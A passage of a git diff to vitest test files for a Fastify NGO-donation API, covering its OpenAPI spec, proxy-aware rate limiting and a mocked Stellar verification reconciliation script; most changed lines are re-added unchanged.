dynamically from package.json', async () => { + const app = buildServer(); + await app.ready(); + + const spec = app.swagger(); + expect(spec.info?.version).toBe(packageJson.version); + expect(spec.info?.version).not.toBe('1.0.0'); + + await app.close(); + }); + + it('declares the three admin apiKey security schemes in components', async () => { + const app = buildServer(); + await app.ready(); + + const spec = app.swagger(); + const schemes = spec.components?.securitySchemes as Record | undefined; + expect(schemes).toBeDefined(); + + expect(schemes?.adminAddress).toEqual({ + type: 'apiKey', + name: 'x-admin-address', + in: 'header', + description: expect.any(String), + }); + + expect(schemes?.adminSignature).toEqual({ + type: 'apiKey', + name: 'x-admin-signature', + in: 'header', + description: expect.any(String), + }); + + expect(schemes?.adminTimestamp).toEqual({ + type: 'apiKey', + name: 'x-admin-timestamp', + in: 'header', + description: expect.any(String), + }); + + await app.close(); + }); + + it('secures all admin routes with the admin authentication scheme', async () => { + const app = buildServer(); + await app.ready(); + + const spec = app.swagger(); + const expectedSecurity = [ + { + adminAddress: [], + adminSignature: [], + adminTimestamp: [], + }, + ]; + + const adminEndpoints: Array<[string, 'get' | 'post' | 'patch']> = [ + ['/v1/ngo-applications/stats', 'get'], + ['/v1/ngo-applications', 'get'], + ['/v1/ngo-applications/{id}', 'get'], + ['/v1/ngo-applications/{id}/approve', 'post'], + ['/v1/ngo-applications/{id}/reject', 'post'], + ['/v1/ngos/all', 'get'], + ['/v1/admin/ngos/{id}', 'patch'], + ]; + + for (const [path, method] of adminEndpoints) { + const operation = (spec.paths?.[path] as Record | undefined)?.[method]; + expect(operation, `Expected operation ${method.toUpperCase()} ${path} to exist`).toBeDefined(); + expect(operation?.security).toEqual(expectedSecurity); + } + + // Public routes must not declare admin security requirement + expect(spec.paths?.['/v1/ngo-applications/challenge']?.post?.security).toBeUndefined(); + expect(spec.paths?.['/v1/ngo-applications']?.post?.security).toBeUndefined(); + expect(spec.paths?.['/v1/ngo-applications/status']?.get?.security).toBeUndefined(); + expect(spec.paths?.['/v1/ngos']?.get?.security).toBeUndefined(); + + await app.close(); + }); + + it('ensures all routes have tags defined', async () => { + const app = buildServer(); + await app.ready(); + + const spec = app.swagger(); + const paths = spec.paths ?? {}; + + for (const [pathKey, pathItem] of Object.entries(paths)) { + for (const [method, operation] of Object.entries(pathItem as Record)) { + if (['get', 'post', 'put', 'delete', 'patch'].includes(method)) { + expect( + operation.tags, + `Expected route ${method.toUpperCase()} ${pathKey} to have tags`, + ).toBeDefined(); + expect( + operation.tags?.length, + `Expected route ${method.toUpperCase()} ${pathKey} to have at least one tag`, + ).toBeGreaterThan(0); + } + } + } + + await app.close(); + }); + + it('lists limit, cursor, sort, and q query parameters for /v1/ngos', async () => { + const app = buildServer(); + await app.ready(); + + const spec = app.swagger(); + const ngoGet = spec.paths?.['/v1/ngos']?.get; + expect(ngoGet).toBeDefined(); + + const queryParameters = (ngoGet?.parameters ?? []).filter( + (param: { in?: string; name: string }) => param.in === 'query', + ); + const parameterNames = queryParameters.map( + (param: { in?: string; name: string }) => param.name, + ); + + expect(parameterNames).toContain('limit'); + expect(parameterNames).toContain('cursor'); + expect(parameterNames).toContain('sort'); + expect(parameterNames).toContain('q'); + + await app.close(); + }); + + it('documents the /v1/streams query parameters generated from the validation schema', async () => { + const app = buildServer(); + await app.ready(); + + const streamsGet = app.swagger().paths?.['/v1/streams']?.get; + expect(streamsGet).toBeDefined(); + + const names = (streamsGet?.parameters ?? []) + .filter((param: { in?: string }) => param.in === 'query') + .map((param: { name: string }) => param.name); + + expect(names).toEqual( + expect.arrayContaining(['donor', 'ngo', 'ngoAddress', 'token', 'status', 'limit', 'cursor']), + ); + + await app.close(); + }); +}); diff --git a/test/rateLimit.test.ts b/test/rateLimit.test.ts index d11fead..7d8bf34 100644 --- a/test/rateLimit.test.ts +++ b/test/rateLimit.test.ts @@ -1,377 +1,377 @@ -import { afterEach, beforeEach, describe, expect, it } from 'vitest'; - -import { buildServer, parseTrustProxy, type TrustProxySetting } from '../src/server.js'; - -describe('parseTrustProxy helper', () => { - it('defaults to true when undefined or empty', () => { - expect(parseTrustProxy(undefined)).toBe(true); - expect(parseTrustProxy('')).toBe(true); - expect(parseTrustProxy(' ')).toBe(true); - }); - - it('parses boolean strings', () => { - expect(parseTrustProxy('true')).toBe(true); - expect(parseTrustProxy('TRUE')).toBe(true); - expect(parseTrustProxy('false')).toBe(false); - expect(parseTrustProxy('FALSE')).toBe(false); - }); - - it('parses numeric hop count strings into a bounded hop function', () => { - const hop1 = parseTrustProxy('1'); - expect(typeof hop1).toBe('function'); - if (typeof hop1 === 'function') { - expect(hop1('127.0.0.1', 0)).toBe(true); - expect(hop1('127.0.0.1', 1)).toBe(false); - expect(hop1('127.0.0.1', 2)).toBe(false); - } - - const hop2 = parseTrustProxy('2'); - expect(typeof hop2).toBe('function'); - if (typeof hop2 === 'function') { - expect(hop2('127.0.0.1', 0)).toBe(true); - expect(hop2('127.0.0.1', 1)).toBe(true); - expect(hop2('127.0.0.1', 2)).toBe(false); - } - }); - - it('treats zero and negative hop counts as false', () => { - expect(parseTrustProxy('0')).toBe(false); - expect(parseTrustProxy('-1')).toBe(false); - }); - - it('treats non-numeric strings as IP/CIDR values', () => { - expect(parseTrustProxy('abc')).toBe('abc'); - }); - - it('parses single IP or CIDR strings', () => { - expect(parseTrustProxy('127.0.0.1')).toBe('127.0.0.1'); - expect(parseTrustProxy('10.0.0.0/8')).toBe('10.0.0.0/8'); - }); - - it('parses comma-separated lists of IPs/CIDRs', () => { - expect(parseTrustProxy('127.0.0.1, 10.0.0.0/8, 192.168.1.1')).toEqual([ - '127.0.0.1', - '10.0.0.0/8', - '192.168.1.1', - ]); - }); -}); - -describe('trustProxy and rate limiter keying behind proxy', () => { - const originalRateLimitMax = process.env.RATE_LIMIT_MAX; - const originalRateLimitWindow = process.env.RATE_LIMIT_WINDOW; - const originalRateLimitAppMax = process.env.RATE_LIMIT_APPLICATION_MAX; - const originalRateLimitAppWindow = process.env.RATE_LIMIT_APPLICATION_WINDOW; - const originalTrustProxy = process.env.TRUST_PROXY; - - beforeEach(() => { - process.env.RATE_LIMIT_MAX = '2'; - process.env.RATE_LIMIT_WINDOW = '1 minute'; - }); - - afterEach(() => { - if (originalRateLimitMax === undefined) { - delete process.env.RATE_LIMIT_MAX; - } else { - process.env.RATE_LIMIT_MAX = originalRateLimitMax; - } - - if (originalRateLimitWindow === undefined) { - delete process.env.RATE_LIMIT_WINDOW; - } else { - process.env.RATE_LIMIT_WINDOW = originalRateLimitWindow; - } - - if (originalRateLimitAppMax === undefined) { - delete process.env.RATE_LIMIT_APPLICATION_MAX; - } else { - process.env.RATE_LIMIT_APPLICATION_MAX = originalRateLimitAppMax; - } - - if (originalRateLimitAppWindow === undefined) { - delete process.env.RATE_LIMIT_APPLICATION_WINDOW; - } else { - process.env.RATE_LIMIT_APPLICATION_WINDOW = originalRateLimitAppWindow; - } - - if (originalTrustProxy === undefined) { - delete process.env.TRUST_PROXY; - } else { - process.env.TRUST_PROXY = originalTrustProxy; - } - }); - - it('keys rate limiting by real client IP from X-Forwarded-For when trustProxy is enabled (default)', async () => { - delete process.env.TRUST_PROXY; - const app = buildServer(); - - // Client A (203.0.113.1) sends 2 allowed requests - const resA1 = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.1' }, - }); - expect(resA1.statusCode).toBe(200); - - const resA2 = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.1' }, - }); - expect(resA2.statusCode).toBe(200); - - // Client A sends a 3rd request -> throttled with 429 - const resA3 = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.1' }, - }); - expect(resA3.statusCode).toBe(429); - - // Client B (198.51.100.2) makes a request behind the same proxy - // Because trustProxy keys by real client IP, Client B is NOT throttled - const resB1 = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '198.51.100.2' }, - }); - expect(resB1.statusCode).toBe(200); - - await app.close(); - }); - - it('keys rate limiting by real client IP when TRUST_PROXY is configured via environment variable', async () => { - process.env.TRUST_PROXY = 'true'; - const app = buildServer(); - - const clientA = '192.0.2.10'; - const clientB = '192.0.2.20'; - - // Exhaust client A's limit - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': clientA }, - }); - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': clientA }, - }); - - const throttledA = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': clientA }, - }); - expect(throttledA.statusCode).toBe(429); - - // Client B should still succeed - const okB = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': clientB }, - }); - expect(okB.statusCode).toBe(200); - - await app.close(); - }); - - it('keys rate limiting by real client IP when bounded hop count is configured', async () => { - // 1 hop: trusts 1 proxy hop (the immediate connection), reading the client IP right before it - process.env.TRUST_PROXY = '1'; - const app = buildServer(); - - const clientA = '192.0.2.100'; - const clientB = '192.0.2.200'; - - // Even if client attempts to spoof an upstream header: 'spoofed_ip, real_client' - // A hop count of 1 trusts the proxy and reads clientA as the real client IP. - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, - }); - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, - }); - - const throttledA = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, - }); - expect(throttledA.statusCode).toBe(429); - - // Different client through the same proxy hop is not throttled - const okB = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': `203.0.113.99, ${clientB}` }, - }); - expect(okB.statusCode).toBe(200); - - await app.close(); - }); - - it('demonstrates the failure mode when trustProxy is disabled: all clients share the proxy IP', async () => { - process.env.TRUST_PROXY = 'false'; - const app = buildServer(); - - // Client A sends 2 requests - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.1' }, - }); - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.1' }, - }); - - // Client B sends request with different X-Forwarded-For - // Without trustProxy, Fastify keys to the underlying socket IP (127.0.0.1) - // so Client B gets unfairly throttled by Client A's requests! - const sharedThrottled = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '198.51.100.2' }, - }); - expect(sharedThrottled.statusCode).toBe(429); - - await app.close(); - }); - - it('allows programmatic override via buildServer({ trustProxy })', async () => { - process.env.TRUST_PROXY = 'false'; // env says false - const app = buildServer({ trustProxy: true as TrustProxySetting }); // option overrides to true - - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.50' }, - }); - await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.50' }, - }); - - const throttledA = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.50' }, - }); - expect(throttledA.statusCode).toBe(429); - - const okB = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - headers: { 'x-forwarded-for': '203.0.113.51' }, - }); - expect(okB.statusCode).toBe(200); - - await app.close(); - }); - - it('keys route-specific rate limiting for /v1/ngo-applications by real client IP', async () => { - process.env.RATE_LIMIT_APPLICATION_MAX = '2'; - process.env.RATE_LIMIT_APPLICATION_WINDOW = '1 minute'; - process.env.TRUST_PROXY = 'true'; - const app = buildServer(); - - const clientA = '198.51.100.10'; - const clientB = '198.51.100.20'; - - // Client A sends 2 requests to /ngo-applications - const resA1 = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - headers: { 'x-forwarded-for': clientA }, - payload: {}, - }); - // Request fails validation with 400, but is counted by the route rate limiter - expect(resA1.statusCode).toBe(400); - - const resA2 = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - headers: { 'x-forwarded-for': clientA }, - payload: {}, - }); - expect(resA2.statusCode).toBe(400); - - // Client A sends a 3rd request -> throttled by the /v1/ngo-applications rate limiter (429) - const resA3 = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - headers: { 'x-forwarded-for': clientA }, - payload: {}, - }); - expect(resA3.statusCode).toBe(429); - - // Client B sends request behind the same proxy -> gets 400 (not throttled by Client A!) - const resB1 = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - headers: { 'x-forwarded-for': clientB }, - payload: {}, - }); - expect(resB1.statusCode).toBe(400); - - await app.close(); - }); -}); - -describe('rate limit 429 responses', () => { - const originalMax = process.env.RATE_LIMIT_MAX; - const originalWindow = process.env.RATE_LIMIT_WINDOW; - - afterEach(() => { - if (originalMax === undefined) delete process.env.RATE_LIMIT_MAX; - else process.env.RATE_LIMIT_MAX = originalMax; - if (originalWindow === undefined) delete process.env.RATE_LIMIT_WINDOW; - else process.env.RATE_LIMIT_WINDOW = originalWindow; - }); - - it('includes a Retry-After header when the limit is exceeded', async () => { - process.env.RATE_LIMIT_MAX = '2'; - process.env.RATE_LIMIT_WINDOW = '1 minute'; - - const app = buildServer(); - - const first = await app.inject({ method: 'GET', url: '/v1/ngos' }); - const second = await app.inject({ method: 'GET', url: '/v1/ngos' }); - const third = await app.inject({ method: 'GET', url: '/v1/ngos' }); - - expect(first.statusCode).not.toBe(429); - expect(second.statusCode).not.toBe(429); - expect(third.statusCode).toBe(429); - - const retryAfter = third.headers['retry-after']; - expect(retryAfter).toBeDefined(); - expect(Number(retryAfter)).toBeGreaterThan(0); - expect(Number.isInteger(Number(retryAfter))).toBe(true); - - await app.close(); - }); - - it('applies the global limit to /health without a route-specific config', async () => { - process.env.RATE_LIMIT_MAX = '1'; - process.env.RATE_LIMIT_WINDOW = '1 minute'; - - const app = buildServer(); - - const first = await app.inject({ method: 'GET', url: '/v1/ngos' }); - const second = await app.inject({ method: 'GET', url: '/v1/ngos' }); - - expect(first.statusCode).not.toBe(429); - expect(first.headers['x-ratelimit-limit']).toBe('1'); - expect(second.statusCode).toBe(429); - - await app.close(); - }); -}); +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; + +import { buildServer, parseTrustProxy, type TrustProxySetting } from '../src/server.js'; + +describe('parseTrustProxy helper', () => { + it('defaults to true when undefined or empty', () => { + expect(parseTrustProxy(undefined)).toBe(true); + expect(parseTrustProxy('')).toBe(true); + expect(parseTrustProxy(' ')).toBe(true); + }); + + it('parses boolean strings', () => { + expect(parseTrustProxy('true')).toBe(true); + expect(parseTrustProxy('TRUE')).toBe(true); + expect(parseTrustProxy('false')).toBe(false); + expect(parseTrustProxy('FALSE')).toBe(false); + }); + + it('parses numeric hop count strings into a bounded hop function', () => { + const hop1 = parseTrustProxy('1'); + expect(typeof hop1).toBe('function'); + if (typeof hop1 === 'function') { + expect(hop1('127.0.0.1', 0)).toBe(true); + expect(hop1('127.0.0.1', 1)).toBe(false); + expect(hop1('127.0.0.1', 2)).toBe(false); + } + + const hop2 = parseTrustProxy('2'); + expect(typeof hop2).toBe('function'); + if (typeof hop2 === 'function') { + expect(hop2('127.0.0.1', 0)).toBe(true); + expect(hop2('127.0.0.1', 1)).toBe(true); + expect(hop2('127.0.0.1', 2)).toBe(false); + } + }); + + it('treats zero and negative hop counts as false', () => { + expect(parseTrustProxy('0')).toBe(false); + expect(parseTrustProxy('-1')).toBe(false); + }); + + it('treats non-numeric strings as IP/CIDR values', () => { + expect(parseTrustProxy('abc')).toBe('abc'); + }); + + it('parses single IP or CIDR strings', () => { + expect(parseTrustProxy('127.0.0.1')).toBe('127.0.0.1'); + expect(parseTrustProxy('10.0.0.0/8')).toBe('10.0.0.0/8'); + }); + + it('parses comma-separated lists of IPs/CIDRs', () => { + expect(parseTrustProxy('127.0.0.1, 10.0.0.0/8, 192.168.1.1')).toEqual([ + '127.0.0.1', + '10.0.0.0/8', + '192.168.1.1', + ]); + }); +}); + +describe('trustProxy and rate limiter keying behind proxy', () => { + const originalRateLimitMax = process.env.RATE_LIMIT_MAX; + const originalRateLimitWindow = process.env.RATE_LIMIT_WINDOW; + const originalRateLimitAppMax = process.env.RATE_LIMIT_APPLICATION_MAX; + const originalRateLimitAppWindow = process.env.RATE_LIMIT_APPLICATION_WINDOW; + const originalTrustProxy = process.env.TRUST_PROXY; + + beforeEach(() => { + process.env.RATE_LIMIT_MAX = '2'; + process.env.RATE_LIMIT_WINDOW = '1 minute'; + }); + + afterEach(() => { + if (originalRateLimitMax === undefined) { + delete process.env.RATE_LIMIT_MAX; + } else { + process.env.RATE_LIMIT_MAX = originalRateLimitMax; + } + + if (originalRateLimitWindow === undefined) { + delete process.env.RATE_LIMIT_WINDOW; + } else { + process.env.RATE_LIMIT_WINDOW = originalRateLimitWindow; + } + + if (originalRateLimitAppMax === undefined) { + delete process.env.RATE_LIMIT_APPLICATION_MAX; + } else { + process.env.RATE_LIMIT_APPLICATION_MAX = originalRateLimitAppMax; + } + + if (originalRateLimitAppWindow === undefined) { + delete process.env.RATE_LIMIT_APPLICATION_WINDOW; + } else { + process.env.RATE_LIMIT_APPLICATION_WINDOW = originalRateLimitAppWindow; + } + + if (originalTrustProxy === undefined) { + delete process.env.TRUST_PROXY; + } else { + process.env.TRUST_PROXY = originalTrustProxy; + } + }); + + it('keys rate limiting by real client IP from X-Forwarded-For when trustProxy is enabled (default)', async () => { + delete process.env.TRUST_PROXY; + const app = buildServer(); + + // Client A (203.0.113.1) sends 2 allowed requests + const resA1 = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.1' }, + }); + expect(resA1.statusCode).toBe(200); + + const resA2 = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.1' }, + }); + expect(resA2.statusCode).toBe(200); + + // Client A sends a 3rd request -> throttled with 429 + const resA3 = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.1' }, + }); + expect(resA3.statusCode).toBe(429); + + // Client B (198.51.100.2) makes a request behind the same proxy + // Because trustProxy keys by real client IP, Client B is NOT throttled + const resB1 = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '198.51.100.2' }, + }); + expect(resB1.statusCode).toBe(200); + + await app.close(); + }); + + it('keys rate limiting by real client IP when TRUST_PROXY is configured via environment variable', async () => { + process.env.TRUST_PROXY = 'true'; + const app = buildServer(); + + const clientA = '192.0.2.10'; + const clientB = '192.0.2.20'; + + // Exhaust client A's limit + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': clientA }, + }); + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': clientA }, + }); + + const throttledA = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': clientA }, + }); + expect(throttledA.statusCode).toBe(429); + + // Client B should still succeed + const okB = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': clientB }, + }); + expect(okB.statusCode).toBe(200); + + await app.close(); + }); + + it('keys rate limiting by real client IP when bounded hop count is configured', async () => { + // 1 hop: trusts 1 proxy hop (the immediate connection), reading the client IP right before it + process.env.TRUST_PROXY = '1'; + const app = buildServer(); + + const clientA = '192.0.2.100'; + const clientB = '192.0.2.200'; + + // Even if client attempts to spoof an upstream header: 'spoofed_ip, real_client' + // A hop count of 1 trusts the proxy and reads clientA as the real client IP. + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, + }); + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, + }); + + const throttledA = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': `203.0.113.99, ${clientA}` }, + }); + expect(throttledA.statusCode).toBe(429); + + // Different client through the same proxy hop is not throttled + const okB = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': `203.0.113.99, ${clientB}` }, + }); + expect(okB.statusCode).toBe(200); + + await app.close(); + }); + + it('demonstrates the failure mode when trustProxy is disabled: all clients share the proxy IP', async () => { + process.env.TRUST_PROXY = 'false'; + const app = buildServer(); + + // Client A sends 2 requests + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.1' }, + }); + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.1' }, + }); + + // Client B sends request with different X-Forwarded-For + // Without trustProxy, Fastify keys to the underlying socket IP (127.0.0.1) + // so Client B gets unfairly throttled by Client A's requests! + const sharedThrottled = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '198.51.100.2' }, + }); + expect(sharedThrottled.statusCode).toBe(429); + + await app.close(); + }); + + it('allows programmatic override via buildServer({ trustProxy })', async () => { + process.env.TRUST_PROXY = 'false'; // env says false + const app = buildServer({ trustProxy: true as TrustProxySetting }); // option overrides to true + + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.50' }, + }); + await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.50' }, + }); + + const throttledA = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.50' }, + }); + expect(throttledA.statusCode).toBe(429); + + const okB = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + headers: { 'x-forwarded-for': '203.0.113.51' }, + }); + expect(okB.statusCode).toBe(200); + + await app.close(); + }); + + it('keys route-specific rate limiting for /v1/ngo-applications by real client IP', async () => { + process.env.RATE_LIMIT_APPLICATION_MAX = '2'; + process.env.RATE_LIMIT_APPLICATION_WINDOW = '1 minute'; + process.env.TRUST_PROXY = 'true'; + const app = buildServer(); + + const clientA = '198.51.100.10'; + const clientB = '198.51.100.20'; + + // Client A sends 2 requests to /ngo-applications + const resA1 = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + headers: { 'x-forwarded-for': clientA }, + payload: {}, + }); + // Request fails validation with 400, but is counted by the route rate limiter + expect(resA1.statusCode).toBe(400); + + const resA2 = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + headers: { 'x-forwarded-for': clientA }, + payload: {}, + }); + expect(resA2.statusCode).toBe(400); + + // Client A sends a 3rd request -> throttled by the /v1/ngo-applications rate limiter (429) + const resA3 = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + headers: { 'x-forwarded-for': clientA }, + payload: {}, + }); + expect(resA3.statusCode).toBe(429); + + // Client B sends request behind the same proxy -> gets 400 (not throttled by Client A!) + const resB1 = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications', + headers: { 'x-forwarded-for': clientB }, + payload: {}, + }); + expect(resB1.statusCode).toBe(400); + + await app.close(); + }); +}); + +describe('rate limit 429 responses', () => { + const originalMax = process.env.RATE_LIMIT_MAX; + const originalWindow = process.env.RATE_LIMIT_WINDOW; + + afterEach(() => { + if (originalMax === undefined) delete process.env.RATE_LIMIT_MAX; + else process.env.RATE_LIMIT_MAX = originalMax; + if (originalWindow === undefined) delete process.env.RATE_LIMIT_WINDOW; + else process.env.RATE_LIMIT_WINDOW = originalWindow; + }); + + it('includes a Retry-After header when the limit is exceeded', async () => { + process.env.RATE_LIMIT_MAX = '2'; + process.env.RATE_LIMIT_WINDOW = '1 minute'; + + const app = buildServer(); + + const first = await app.inject({ method: 'GET', url: '/v1/ngos' }); + const second = await app.inject({ method: 'GET', url: '/v1/ngos' }); + const third = await app.inject({ method: 'GET', url: '/v1/ngos' }); + + expect(first.statusCode).not.toBe(429); + expect(second.statusCode).not.toBe(429); + expect(third.statusCode).toBe(429); + + const retryAfter = third.headers['retry-after']; + expect(retryAfter).toBeDefined(); + expect(Number(retryAfter)).toBeGreaterThan(0); + expect(Number.isInteger(Number(retryAfter))).toBe(true); + + await app.close(); + }); + + it('applies the global limit to /health without a route-specific config', async () => { + process.env.RATE_LIMIT_MAX = '1'; + process.env.RATE_LIMIT_WINDOW = '1 minute'; + + const app = buildServer(); + + const first = await app.inject({ method: 'GET', url: '/v1/ngos' }); + const second = await app.inject({ method: 'GET', url: '/v1/ngos' }); + + expect(first.statusCode).not.toBe(429); + expect(first.headers['x-ratelimit-limit']).toBe('1'); + expect(second.statusCode).toBe(429); + + await app.close(); + }); +}); diff --git a/test/reconcileVerification.test.ts b/test/reconcileVerification.test.ts index 4a77ea9..1f90821 100644 --- a/test/reconcileVerification.test.ts +++ b/test/reconcileVerification.test.ts @@ -1,144 +1,144 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest'; - -const { simulateTransaction, scValToNative } = vi.hoisted(() => ({ - simulateTransaction: vi.fn(), - scValToNative: vi.fn(), -})); - -vi.mock('../src/stellar/rpc.js', () => ({ - rpcServer: { - simulateTransaction(args: unknown) { - return simulateTransaction(args); - }, - }, - getLatestLedgerSequence: vi.fn(), -})); - -vi.mock('../src/db.js', () => ({ - prisma: { - ngo: { - findMany: vi.fn(), - update: vi.fn(), - }, - }, -})); - -vi.mock('../src/indexer/contracts.js', () => ({ - NGO_REGISTRY_CONTRACT_ID: 'test-contract', -})); - -vi.mock('@stellar/stellar-sdk', async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - Contract: class { - constructor(public contractId: string) {} - call() { - return { type: 'invokeHostFunction' }; - } - }, - Account: class {}, - Keypair: { random: () => ({ publicKey: () => 'source-address' }) }, - nativeToScVal: vi.fn((value: unknown) => value), - TransactionBuilder: class { - addOperation() { - return this; - } - setTimeout() { - return this; - } - build() { - return {}; - } - }, - scValToNative, - }; -}); - -import { reconcileVerification } from '../src/scripts/reconcileVerification.js'; -import { prisma } from '../src/db.js'; - -beforeEach(() => { - vi.clearAllMocks(); -}); - -describe('reconcileVerification', () => { - it('reports a mismatch without fixing', async () => { - (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ - { id: 'ngo-1', ownerAddress: 'GAOADRESS', verified: false }, - ]); - simulateTransaction.mockResolvedValue({ - result: { retval: { type: 'scvInvoke' } }, - }); - scValToNative.mockReturnValue(true); - - const report = await reconcileVerification(); - - expect(report.checked).toBe(1); - expect(report.fixed).toBe(0); - expect(report.mismatches).toEqual([ - { - ngoId: 'ngo-1', - ownerAddress: 'GAOADRESS', - dbVerified: false, - onChainVerified: true, - }, - ]); - expect(prisma.ngo.update).not.toHaveBeenCalled(); - }); - - it('fixes mismatches when fix is true', async () => { - (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ - { id: 'ngo-2', ownerAddress: 'GAOADRESS2', verified: true }, - ]); - simulateTransaction.mockResolvedValue({ - result: { retval: { type: 'scvInvoke' } }, - }); - scValToNative.mockReturnValue(false); - (prisma.ngo.update as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue({}); - - const report = await reconcileVerification({ fix: true }); - - expect(report.fixed).toBe(1); - expect(prisma.ngo.update).toHaveBeenCalledWith({ - where: { id: 'ngo-2' }, - data: { verified: false }, - }); - }); - - it('limits concurrent RPC calls', async () => { - (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue( - Array.from({ length: 8 }, (_, index) => ({ - id: `ngo-${index}`, - ownerAddress: `G${index}`, - verified: true, - })), - ); - let inFlight = 0; - let maxInFlight = 0; - simulateTransaction.mockImplementation(async () => { - inFlight += 1; - maxInFlight = Math.max(maxInFlight, inFlight); - await new Promise((resolve) => setTimeout(resolve, 0)); - inFlight -= 1; - return { result: { retval: true } }; - }); - - await reconcileVerification(); - - expect(maxInFlight).toBeGreaterThan(1); - expect(maxInFlight).toBeLessThanOrEqual(5); - }); - - it('skips ngos that are not registered on-chain', async () => { - (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ - { id: 'ngo-3', ownerAddress: 'GAOADDRESS3', verified: false }, - ]); - simulateTransaction.mockResolvedValue({ error: 'NotRegistered' }); - - const report = await reconcileVerification(); - - expect(report.checked).toBe(1); - expect(report.mismatches).toEqual([]); - }); -}); +import { describe, it, expect, vi, beforeEach } from 'vitest'; + +const { simulateTransaction, scValToNative } = vi.hoisted(() => ({ + simulateTransaction: vi.fn(), + scValToNative: vi.fn(), +})); + +vi.mock('../src/stellar/rpc.js', () => ({ + rpcServer: { + simulateTransaction(args: unknown) { + return simulateTransaction(args); + }, + }, + getLatestLedgerSequence: vi.fn(), +})); + +vi.mock('../src/db.js', () => ({ + prisma: { + ngo: { + findMany: vi.fn(), + update: vi.fn(), + }, + }, +})); + +vi.mock('../src/indexer/contracts.js', () => ({ + NGO_REGISTRY_CONTRACT_ID: 'test-contract', +})); + +vi.mock('@stellar/stellar-sdk', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + Contract: class { + constructor(public contractId: string) {} + call() { + return { type: 'invokeHostFunction' }; + } + }, + Account: class {}, + Keypair: { random: () => ({ publicKey: () => 'source-address' }) }, + nativeToScVal: vi.fn((value: unknown) => value), + TransactionBuilder: class { + addOperation() { + return this; + } + setTimeout() { + return this; + } + build() { + return {}; + } + }, + scValToNative, + }; +}); + +import { reconcileVerification } from '../src/scripts/reconcileVerification.js'; +import { prisma } from '../src/db.js'; + +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe('reconcileVerification', () => { + it('reports a mismatch without 